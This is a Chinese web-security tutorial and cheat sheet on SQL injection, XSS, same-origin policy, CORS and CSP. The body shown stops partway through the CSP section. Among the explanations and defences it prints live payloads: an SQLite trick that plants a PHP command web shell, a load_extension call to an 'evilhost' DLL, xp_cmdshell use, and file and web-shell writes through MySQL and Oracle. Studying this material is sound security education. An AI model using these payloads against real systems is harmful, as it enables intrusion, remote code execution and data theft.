文章目录

  • 4.0 常见漏洞攻防
    • 4.1 SQL注入
      • 4.1.1 注入分类
        • 1. 简介
        • 2. 按技巧分类
          • 1). 盲注
          • 2). 报错注入
          • 3). 堆叠注入
        • 3. 按获取数据的方式分类
          • 1). inband
          • 2). inference
          • 3). out of band (OOB)
      • 4.1.2 数据库检测
        • 1. MySQL
        • 2. Oracle
        • 3. SQLServer
        • 4. PostgreSQL
      • 4.1.3 注入检测
        • 1. 常见的注入点
        • 2. Fuzz注入点
        • 3. 测试用常量
        • 4. 测试列数
        • 5. 报错注入
        • 6. 基于geometric的报错注入
        • 7. 堆叠注入
        • 8. 注释符
        • 9. 判断过滤规则
      • 4.1.4 绕过技巧
        • 1. 编码绕过
        • 2. 注释
        • 3. 只过滤了一次时
        • 4. 相同功能替换
          • 1). 函数替换
          • 2). 变量替换
          • 3). 符号和关键字
        • 5. HTTP参数
        • 6. 缓冲区溢出
      • 4.1.5 获取信息
        • 1. 判断数据库类型
        • 2. 判断数据库表
        • 3. 版本、主机名、用户名、库名
        • 4. 表和字段
      • 4.1.6 测试权限
        • 1. 文件操作
        • 2. 带外通道
      • 4.1.7 权限提升
        • 1. UDF提权
      • 4.1.8 SQL注入小技巧
        • 1. 宽字节注入
        • 2. CheatSheet
          • 1). SQL Server Payload
            • 常见Payload
            • 报错注入
            • 常用函数
          • 2). MySQL Payload
            • 常见Payload
            • 报错注入常见函数
            • 写文件
          • 3). PostgresSQL Payload
          • 4). Oracle Payload
            • 常见Payload
            • 写文件
          • 5). SQLite3 Payload
      • 4.1.9 预编译
        • 1. 简介
        • 2. 模拟预编译
        • 3. 绕过
          • 1). 预编译使用错误
          • 2). 部分参数不可预编译
          • 3). 预编译实现错误
      • 4.1.10 参考文章
    • 4.2 XSS
      • 4.2.1 分类
        • 1 简介
        • 2. 反射型XSS
        • 3. 储存型XSS
        • 4. DOM XSS
        • 5. Blind XSS
      • 4.2.2 危害
      • 4.2.3 同源策略
        • 1. 简介
        • 2. file域的同源策略
        • 3. cookie的同源策略
        • 4. Flash/SilverLight跨域
        • 5. 源的更改
        • 6. 跨源访问
        • 7. JSONP跨域
        • 8. 跨源脚本API访问
        • 9. 跨源数据存储访问
          • CORS
            • 常见请求头
            • 常见返回头
            • 防御建议
        • 10. 阻止跨源访问
      • 4.2.4 CSP
        • 1. CSP是什么?
        • 2. 配置
        • 3. 指令说明
        • 4. 关键字
        • 5. 配置范例
      • 4.2.5 Bypass
        • 1. 预加载
        • 2. MIME Sniff
        • 3. 302跳转
        • 4. iframe
        • 5. base-uri
        • 6. 其他
      • 4.2.6 XSS数据源
        • 1. URL
        • 2. Navigation
        • 3. Communication
        • 4. Storage
        • 5. Sink
          • 1). 执行JavaScript
          • 2). 加载URL
          • 3). 执行HTML
      • 4.2.7 XSS保护
        • 1. HTML过滤
        • 2. X-Frame
        • 3. XSS保护头
      • 4.2.8 WAF Bypass
      • 4.2.9 技巧
        • 1. httponly
        • 2. CSS 注入
          • 1). 基本介绍
          • 2). CSS selectors
          • 3). Abusing Unicode Range
        • 3. Bypass Via Script Gadgets
          • 1). 简介
          • 2). 例子
        • 4. RPO(Relative Path Overwrite)
      • 4.2.10 Payload
        • 1. 常用
        • 2. 大小写绕过
        • 3. 各种alert
        • 4. 伪协议
        • 5. Chrome XSS auditor bypass
        • 6. 长度限制
        • 7. jquery sourceMappingURL
        • 8. 图片名
        • 9. 过期的payload
        • 10. css
        • 11. markdown
        • 12. iframe
        • 13. form
        • 14. meta
      • 4.2.11 持久化
        • 1. 基于存储
        • 2. Service Worker
        • 3. AppCache
      • 4.2.12 参考链接
        • wiki
        • Challenges
        • CSS
        • 同源策略
        • bypass
        • 持久化
        • Tricks
    • 4.3 CSRF
      • 4.3.1 简介
      • 4.3.2 分类
        • 1. 资源包含
        • 2. 基于表单
        • 3. XMLHttpRequest
      • 4.3.3 防御
      • 4.3.4 参考链接
    • 4.4 SSRF
      • 4.4.1 简介
      • 4.4.2 漏洞危害
      • 4.4.3 利用方式
      • 4.4.4 相关危险函数
      • 4.4.5 过滤绕过
        • 1. 更改IP地址写法
        • 2. 使用解析到内网的域名
        • 3. 利用解析URL所出现的问题
        • 4. 利用跳转
        • 5. 通过各种非HTTP协议
        • 6. DNS Rebinding
        • 7. 利用IPv6
        • 8. 利用IDN
      • 4.4.6 可能的利用点
        • 1. 内网服务
        • 2. Redis利用
        • 3. 云主机
      • 4.4.7 防御方式
      • 4.4.8 参考链接
    • 4.5 命令注入
      • 4.5.1 简介
      • 4.5.2 常见危险函数
        • 1. PHP
        • 2. Python
        • 3. Java
      • 4.5.3 常见注入方式
        • 无回显技巧
      • 4.5.4 常见绕过方式
        • 1. 空格绕过
        • 2. 黑名单绕过
        • 3. 长度限制绕过
      • 4.5.5 常用符号
        • 1. 命令分隔符
        • 2. 通配符
      • 4.5.6 防御
    • 4.6 目录穿越
      • 4.6.1 简介
      • 4.6.2 攻击载荷
        • 1. URL参数
        • 2. Nginx Off by Slash
        • 3. UNC Bypass
      • 4.6.3 过滤绕过
      • 4.6.4 防御
      • 4.6.5 参考链接
    • 4.7 文件读取
    • 4.8 文件上传
      • 4.8.1 文件类型检测绕过
        • 1. 更改请求绕过
        • 2. Magic 检测绕过
        • 3. 后缀绕过
        • 4. 系统命名绕过
        • 5. .user.ini
        • 6. WAF绕过
        • 7. 竞争上传绕过
      • 4.8.2 攻击技巧
        • 1. Apache重写GetShell
        • 2. 软链接任意读文件
      • 4.8.3 防护技巧
      • 4.8.4 参考链接
    • 4.9 文件包含
      • 4.9.1 基础
      • 4.9.2 触发Sink
        • 1. PHP
      • 4.9.3 绕过技巧
        • 1. url编码绕过
        • 2. 特殊字符绕过
        • 3. %00截断
        • 4. 长度截断
        • 5. 伪协议绕过
        • 6. 协议绕过
      • 4.9.4 参考链接
    • 4.10 XXE
      • 4.10.1 XML基础
        • 1. 基本语法
        • 2. XXE
      • 4.10.2 攻击方式
        • 1. 拒绝服务攻击
        • 2. 文件读取
        • 3. SSRF
        • 4. RCE
        • 5. XInclude
      • 4.10.3 参考链接
    • 4.11 模版注入
      • 4.11.1 简介
      • 4.11.2 测试方法
      • 4.11.3 测试用例
      • 4.11.4目标
      • 4.11.5 相关属性
        • 1. `__class__`
        • 2. `__mro__`
        • 3. `__globals__`
        • 4. `__subclasses__()`
      • 4.11.6 常见Payload
      • 4.11.7 绕过技巧
        • 1. 字符串拼接
        • 2. 使用参数绕过
      • 4.11.8 参考链接
    • 4.12 Xpath注入
      • 4.12.1 Xpath 定义
      • 4.11.2 Xpath注入攻击原理
    • 4.13 逻辑漏洞 / 业务漏洞
      • 4.13.1 简介
      • 4.13.2 安装逻辑
      • 4.13.4 交易
        • 1. 购买
        • 2. 业务风控
      • 4.13.5 账户
        • 1. 注册
        • 2. 密码
        • 3. 邮箱用户名
        • 4. Cookie
        • 5. 手机号用户名
        • 6. 登录
        • 7. 找回密码
        • 8. 修改密码
        • 9. 申诉
        • 10. 更新
        • 11. 信息查询
        • 12. 2FA
      • 4.13.5 验证码
      • 4.13.6 Session
      • 4.13.7 越权
      • 4.13.8 随机数安全
      • 4.13.9 其他
      • 4.13.10 参考链接
    • 4.14 配置安全
      • 4.14.1 弱密码
      • 4.14.2 敏感文件泄漏
      • 4.14.3 数据库
      • 4.14.4 加密体系
      • 4.14.5 三方库/软件
    • 4.15 中间件
      • 4.15.1 IIS
        • 1. IIS 6.0
        • 2. IIS 7.0-7.5 / Nginx <= 0.8.37
        • 3. PUT漏洞
        • 4. Windows特性
        • 5. 文件名猜解
        • 6. 参考链接
      • 4.15.2 Apache
        • 1. 后缀解析
        • 2. .htaccess
        • 3. 目录遍历
        • 4. CVE-2017-15715
        • 5. lighttpd
        • 6. 参考链接
      • 4.15.3 Nginx
        • 1. Fast-CGI关闭
        • 2. Fast-CGI开启
        • 3. CVE-2013-4547
        • 4. 配置错误
          • 目录穿越/遍历
        • 5. 参考链接
    • 4.16 Web Cache欺骗攻击
      • 4.16.1 简介
      • 4.16.2 漏洞成因
      • 4.16.3 漏洞利用
      • 4.16.4 漏洞存在的条件
      • 4.16.5 漏洞防御
      • 4.16.6 Web Cache欺骗攻击实例
        • 1. Paypal
      • 4.16.7 参考链接
    • 4.17 HTTP 请求走私
      • 4.17.1 简介
      • 4.17.2 成因
      • 4.17.3 分类
      • 4.17.4 攻击
        • 1. CL不为0的GET请求
        • 2. CL-CL
        • 3. CL-TE
        • 4. TE-CL
        • 5. TE-TE
      • 4.17.5 防御
      • 4.17.6 参考链接
        • 1. RFC
        • 2. Blog / Whitepaper

4.0 常见漏洞攻防

4.1 SQL注入

4.1.1 注入分类

1. 简介

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

2. 按技巧分类

根据使用的技巧,SQL注入类型可分为

1). 盲注
  • 布尔盲注:只能从应用返回中推断语句执行后的布尔值
  • 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
2). 报错注入

应用会显示全部或者部分的报错信息

3). 堆叠注入

有的应用可以加入 ; 后一次执行多条语句

3. 按获取数据的方式分类

另外也可以根据获取数据的方式分为3类:

1). inband

利用Web应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。

2). inference

通过Web的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过web应用的其他改变来推断数据。

3). out of band (OOB)

通过其他传输方式来获得数据,比如DNS解析协议和电子邮件。

4.1.2 数据库检测

1. MySQL

  • sleep sleep(1)
  • benchmark BENCHMARK(5000000, MD5('test'))
  • 字符串连接
    • SELECT 'a' 'b'
    • SELECT CONCAT('some','string')
  • version
    • SELECT @@version SELECT version()
  • 识别用函数
    • connection_id()
    • last_insert_id()
    • row_count()

2. Oracle

  • 字符串连接

    • 'a'||'oracle' --
    • SELECT CONCAT('some','string')
  • version
    • SELECT banner FROM v$version
    • SELECT banner FROM v$version WHERE rownum=1

3. SQLServer

  • WAITFOR WAITFOR DELAY '00:00:10';
  • SERVERNAME SELECT @@SERVERNAME
  • version SELECT @@version
  • 字符串连接
    • SELECT 'some'+'string'
  • 常量
    • @@pack_received @@rowcount

4. PostgreSQL

  • sleep pg_sleep(1)

4.1.3 注入检测

1. 常见的注入点

  • GET/POST/PUT/DELETE参数
  • X-Forwarded-For
  • 文件名

2. Fuzz注入点

  • ' / "
  • 1/1
  • 1/0
  • and 1=1
  • " and "1"="1
  • and 1=2
  • or 1=1
  • or 1=
  • ' and '1'='1
  • + - ^ * % /
  • << >> || | & &&
  • ~
  • !
  • @
  • 反引号执行

3. 测试用常量

  • @@version
  • @@servername
  • @@language
  • @@spid

4. 测试列数

例如 http://www.foo.com/index.asp?id=12+union+select+null,null-- ,不断增加 null 至不返回

5. 报错注入

  • select 1/0
  • select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
  • extractvalue(1, concat(0x5c,(select user())))
  • updatexml(0x3a,concat(1,(select user())),1)
  • exp(~(SELECT * from(select user())a))
  • ST_LatFromGeoHash((select * from(select * from(select user())a)b))
  • GTID_SUBSET(version(), 1)

6. 基于geometric的报错注入

  • GeometryCollection((select * from (select * from(select user())a)b))
  • polygon((select * from(select * from(select user())a)b))
  • multipoint((select * from(select * from(select user())a)b))
  • multilinestring((select * from(select * from(select user())a)b))
  • LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效

7. 堆叠注入

  • ;select 1

8. 注释符

  • #
  • --+
  • /*xxx*/
  • /*!xxx*/
  • /*!50000xxx*/

9. 判断过滤规则

  • 是否有trunc
  • 是否过滤某个字符
  • 是否过滤关键字
  • slash和编码

4.1.4 绕过技巧

1. 编码绕过

  • 大小写
  • url编码
  • html编码
  • 十六进制编码
  • unicode编码

2. 注释

  • // -- -- + -- - # /**/ ;%00
  • 内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别
  • e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

3. 只过滤了一次时

  • union => ununionion

4. 相同功能替换

1). 函数替换
  • substring / mid / sub
  • ascii / hex / bin
  • benchmark / sleep
2). 变量替换
  • user() / @@user
3). 符号和关键字
  • and / &
  • or / |

5. HTTP参数

  • HTTP参数污染

    • id=1&id=2&id=3 根据容器不同会有不同的结果
  • HTTP分割注入

6. 缓冲区溢出

  • 一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理

    • 二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过

4.1.5 获取信息

1. 判断数据库类型

  • and exists (select * from msysobjects ) > 0 access数据库

  • and exists (select * from sysobjects ) > 0 SQLServer数据库

2. 判断数据库表

and exsits (select * from admin)

3. 版本、主机名、用户名、库名

4. 表和字段

  • 确定字段数

    • Order By
    • Select Into
  • 表名、列名

4.1.6 测试权限

1. 文件操作

  • 读敏感文件
  • 写shell

2. 带外通道

  • 网络请求

4.1.7 权限提升

1. UDF提权

UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。

当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。

4.1.8 SQL注入小技巧

1. 宽字节注入

一般程序员用gbk编码做开发的时候,会用 set names 'gbk' 来设定,这句话等同于

set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';

漏洞发生的原因是执行了 set character_set_client = 'gbk'; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names 'gbk' 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。

解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk') ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。 第三种就是用pdo。

还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。

2. CheatSheet

1). SQL Server Payload
常见Payload
  • Version

    SELECT @@version

  • Comment

    • SELECT 1 -- comment
    • SELECT /*comment*/1
  • Space

    0x01 - 0x20

  • 用户信息

    • SELECT user_name()
    • SELECT system_user
    • SELECT user
    • SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
  • 用户权限

    • select IS_SRVROLEMEMBER('sysadmin')
    • select IS_SRVROLEMEMBER('db_owner')
  • List User

    - SELECT name FROM master..syslogins

  • 数据库信息

    • SELECT name FROM master..sysdatabases select quotename(name) from master..sysdatabases FOR XML PATH('')
  • 执行命令

    • EXEC xp_cmdshell 'net user'
  • Ascii

    • SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT char(65)+char(66) => return AB
  • Delay

    • WAITFOR DELAY '0:0:3' pause for 3 seconds
  • Change Password

    • ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'
  • Trick

    • id=1 union:select password from:user
  • 文件读取

    • OpenRowset
  • 当前查询语句

    • select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)
  • hostname

    • 用于判断是否站库分离
    • select host_name()
报错注入
  • 1=convert(int,(db_name()))
常用函数
  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()
2). MySQL Payload
常见Payload
  • Version

    SELECT @@version

  • Comment

    • SELECT 1 -- comment
    • SELECT 1 # comment
    • SELECT /*comment*/1
  • Space

    • 0x9
    • 0xa-0xd
    • 0x20 0xa0
  • Current User

    • SELECT user()
    • SELECT system_user()
  • List User

    • SELECT user FROM mysql.user
  • Current Database

    • SELECT database()
  • List Database

    • SELECT schema_name FROM information_schema.schemata
  • List Tables

    • SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • List Columns

    • SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • If

    • SELECT if(1=1,'foo','bar'); return ‘foo’
  • Ascii

    • SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT 0x414243 => return ABC
  • Delay

    • sleep(1)
    • SELECT BENCHMARK(1000000,MD5('A'))
  • Read File

    • select @@datadir
    • select load_file('databasename/tablename.MYD')
  • Blind

    • ascii(substring(str,pos,length)) & 32 = 1
  • Error Based

    • select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
    • select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))
  • Change Password

    • mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"
报错注入常见函数
  • extractvalue
  • updatexml
  • GeometryCollection
  • linestring
  • multilinestring
  • multipoint
  • multipolygon
  • polygon
  • exp
写文件

写文件前提

  • root 权限
  • 知晓文件绝对路径
  • 写入的路径存在写入权限
  • secure_file_priv 允许向对应位置写入
  • select count(file_priv) from mysql.user

基于 into 写文件

union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'

dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏

基于 log 写文件

show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '<?php var_dump("test");?>';
set global general_log_file = '/original/path';
set global general_log = off;
3). PostgresSQL Payload
  • Version

    • SELECT version()
  • Comment
    • SELECT 1 -- comment
    • SELECT /*comment*/1
  • Current User
    • SELECT user
    • SELECT current_user
    • SELECT session_user
    • SELECT getpgusername()
  • List User
    • SELECT usename FROM pg_user
  • Current Database
    • SELECT current_database()
  • List Database
    • SELECT datname FROM pg_database
  • Ascii
    • SELECT char(0x41) SELECT ascii('A')
  • Delay
    • pg_sleep(1)
4). Oracle Payload
常见Payload
  • dump

    • select * from v$tablespace;
    • select * from user_tables;
    • select column_name from user_tab_columns where table_name = 'table_name';
    • select column_name, data_type from user_tab_columns where table_name = 'table_name';
    • SELECT * FROM ALL_TABLES
  • Comment
    • --
    • /**/
  • Space
    • 0x00
    • 0x09
    • 0xa-0xd
    • 0x20
  • 报错
    • utl_inaddr.get_host_name
    • ctxsys.drithsx.sn
    • ctxsys.CTX_REPORT.TOKEN_TYPE
    • XMLType
    • dbms_xdb_version.checkin
    • dbms_xdb_version.makeversioned
    • dbms_xdb_version.uncheckout
    • dbms_utility.sqlid_to_sqlhash
    • ordsys.ord_dicom.getmappingxpath
    • utl_inaddr.get_host_name
    • utl_inaddr.get_host_address
  • OOB
    • utl_http.request
    • utl_inaddr.get_host_address
    • SYS.DBMS_LDAP.INIT
    • HTTPURITYPE
    • HTTP_URITYPE.GETCLOB
  • 绕过
    • rawtohex
写文件
create or replace directory TEST_DIR as '/path/to/dir';
grant read, write on directory TEST_DIR to system;
declareisto_file utl_file.file_type;
beginisto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W');utl_file.put_line(isto_file, '<% out.println("test"); %>');utl_file.fflush(isto_file);utl_file.fclose(isto_file);
end;
5). SQLite3 Payload
  • Comment

    • --
    • /**/
  • Version
    • select sqlite_version();

Command Execution

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

Load_extension

UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');--

4.1.9 预编译

1. 简介

SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。

2. 模拟预编译

为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。

3. 绕过

1). 预编译使用错误

预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。

2). 部分参数不可预编译

在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。

3). 预编译实现错误

部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。

4.1.10 参考文章

  • NoSQL注入的分析和缓解
  • NoSQL注入
  • SQL注入ByPass的一些小技巧
  • sqlmap time based inject 分析
  • SQLInjectionWiki
  • Waf Bypass之道
  • MySQL Bypass Wiki
  • 常见数据库写入Webshell汇总

4.2 XSS

4.2.1 分类

1 简介

XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。

2. 反射型XSS

反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:hello, $_GET['user']";?> ,那么在访问时设置 /?user=alert("hack") ,则可执行预设好的JavaScript代码。

反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。

3. 储存型XSS

储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击

4. DOM XSS

DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的

例如

<html>
<head>
<title>DOM Based XSS Demo</title>
<script>function xsstest()
{var str = document.getElementById("input").value;document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

输入 x' onerror='javascript:alert(/xss/) 即可触发。

5. Blind XSS

Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。 它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上

4.2.2 危害

存在XSS漏洞时,可能会导致以下几种情况:

  1. 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
  2. 攻击者能够在一定限度内记录用户的键盘输入
  3. 攻击者通过CSRF等方式以用户身份执行危险操作
  4. XSS蠕虫
  5. 获取用户浏览器信息
  6. 利用XSS漏洞扫描用户内网

4.2.3 同源策略

1. 简介

同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源

2. file域的同源策略

在之前的浏览器中,任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。

从Gecko 1.9开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件

3. cookie的同源策略

cookie使用不同的源定义方式,一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可

不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用 domain / path / securehttp-only 标记来限定其访问性。

所以 https://localhost:8080/http://localhost:8081/ 的Cookie是共享的。

4. Flash/SilverLight跨域

浏览器的各种插件也存在跨域需求。通常是通过在服务器配置crossdomain.xml,设置本服务允许哪些域名的跨域访问。

客户端会请求此文件,如果发现自己的域名在访问列表里,就发起真正的请求,否则不发送请求。

5. 源的更改

同源策略认为域和子域属于不同的域,例如 child1.a.coma.com / child1.a.comchild2.a.com / xxx.child1.a.comchild1.a.com 两两不同源。

对于这种情况,可以在两个方面各自设置 document.domain='a.com' 来改变其源来实现以上任意两个页面之间的通信。

另外因为浏览器单独保存端口号,这种赋值会导致端口号被重写为 null

6. 跨源访问

同源策略控制了不同源之间的交互,这些交互通常分为三类:

  • 通常允许跨域写操作(Cross-origin writes)

    • 链接(links)
    • 重定向
    • 表单提交
  • 通常允许跨域资源嵌入(Cross-origin embedding)
  • 通常不允许跨域读操作(Cross-origin reads)

可能嵌入跨源的资源的一些示例有:

  • <script src="..."></script> 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
  • <link rel="stylesheet" href="..."> 标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type 消息头。
  • <imag> / <video> / <audio> 嵌入多媒体资源。
  • <object> embedapplet 的插件。
  • @font-face 引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。
  • frameiframe 载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。

7. JSONP跨域

JSONP就是利用 <script> 标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。

服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。

JSONP也存在一些安全问题,例如当对传入/传回参数没有做校验就直接执行返回的时候,会造成XSS问题没有做Referer或Token校验就给出数据的时候,可能会造成数据泄露

另外JSONP在没有设置callback函数的白名单情况下,可以合法的做一些设计之外的函数调用,引入问题。这种攻击也被称为SOME攻击。

8. 跨源脚本API访问

Javascript的APIs中,如 iframe.contentWindow , window.parent, window.openwindow.opener 允许文档间相互引用。当两个文档的源不同时,这些引用方式将对 windowlocation 对象的访问添加限制。

window 允许跨源访问的方法有

  • window.blur
  • window.close
  • window.focus
  • window.postMessage

window 允许跨源访问的属性有

  • window.closed
  • window.frames
  • window.length
  • window.location
  • window.opener
  • window.parent
  • window.self
  • window.top
  • window.window

其中 window.location 允许读/写,其他的属性只允许读

9. 跨源数据存储访问

存储在浏览器中的数据,如 localStorageIndexedDB,以源进行分割。每个源都拥有自己单独的存储空间,一个源中的Javascript脚本不能对属于其它源的数据进行读写操作。

CORS

CORS是一个W3C标准,全称是跨域资源共享(Cross-origin resource sharing)。通过这个标准,可以允许浏览器读取跨域的资源。

常见请求头
  • Origin

    • 预检请求或实际请求的源站URI, 浏览器请求默认会发送该字段
    • Origin:<origin>
  • Access-Control-Request-Method

    声明请求使用的方法

    Access-Control-Request-Method:

  • Access-Control-Request-Headers

    • 声明请求使用的header字段
    • Access-Control-Request-Headers: <field-name>[, <field-name>]*
常见返回头
  • Access-Control-Allow-Origin

    • 声明允许访问的源外域URI
    • 对于携带身份凭证的请求不可使用通配符 *
    • Access-Control-Allow-Origin: | *
  • Access-Control-Expose-Headers
    • 声明允许暴露的头 e.g.
    • Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
  • Access-Control-Max-Age
    • 声明Cache时间
    • Access-Control-Max-Age:
  • Access-Control-Allow-Credentials
    • 声明是否允许在请求中带入
    • Access-Control-Allow-Credentials: true
  • Access-Control-Allow-Methods
    • 声明允许的访问方式
    • Access-Control-Allow-Methods: <method>[, <method>]*
  • Access-Control-Allow-Headers
    • 声明允许的头
    • Access-Control-Allow-Headers: <field-name>[, <field-name>]*
防御建议
  • 如非必要不开启CORS
  • 定义详细的白名单,不使用通配符,仅配置所需要的头
  • 配置 Vary: Origin 头部
  • 如非必要不使用 Access-Control-Allow-Credentials
  • 限制缓存的时间

10. 阻止跨源访问

阻止跨域写操作,可以检测请求中的 CSRF token ,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。

阻止资源的跨站读取,因为嵌入资源通常会暴露信息,需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守 Content-Type 消息头。例如如果在HTML文档中指定 <script> 标记,则浏览器会尝试将HTML解析为JavaScript。

4.2.4 CSP

1. CSP是什么?

Content Security Policy,简称 CSP,译作内容安全策略。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生。

2. 配置

CSP策略可以通过 HTTP 头信息或者 meta 元素定义。

CSP 有三类:

  • Content-Security-Policy (Google Chrome)
  • X-Content-Security-Policy (Firefox)
  • X-WebKit-CSP (WebKit-based browsers, e.g. Safari)
HTTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略

HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。

HTML Meta :

<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">

3. 指令说明

指令 说明
default-src 定义资源默认加载策略
connect-src 定义 Ajax、WebSocket 等加载策略
font-src 定义 Font 加载策略
frame-src 定义 Frame 加载策略
img-src 定义图片加载策略
media-src 定义 、 等引用资源加载策略
object-src 定义 、、 等引用资源加载策略
script-src 定义 JS 加载策略
style-src 定义 CSS 加载策略
base-uri 定义 根URL策略,不使用default-src作为默认值
sandbox 值为 allow-forms,对资源启用 sandbox
report-uri 值为 /report-uri,提交日志

4. 关键字

  • -

    • 允许从任意url加载,除了 data: blob: filesystem: schemes
    • e.g. img-src -
  • none
    • 禁止从任何url加载资源
    • e.g. object-src 'none'
  • self
    • 只可以加载同源资源
    • e.g. img-src 'self'
  • data:
    • 可以通过data协议加载资源 e.g.
    • img-src 'self' data:
  • domain.example.com
    • e.g. img-src domain.example.com
    • 只可以从特定的域加载资源
  • \*.example.com
    • e.g. img-src \*.example.com
    • 可以从任意example.com的子域处加载资源
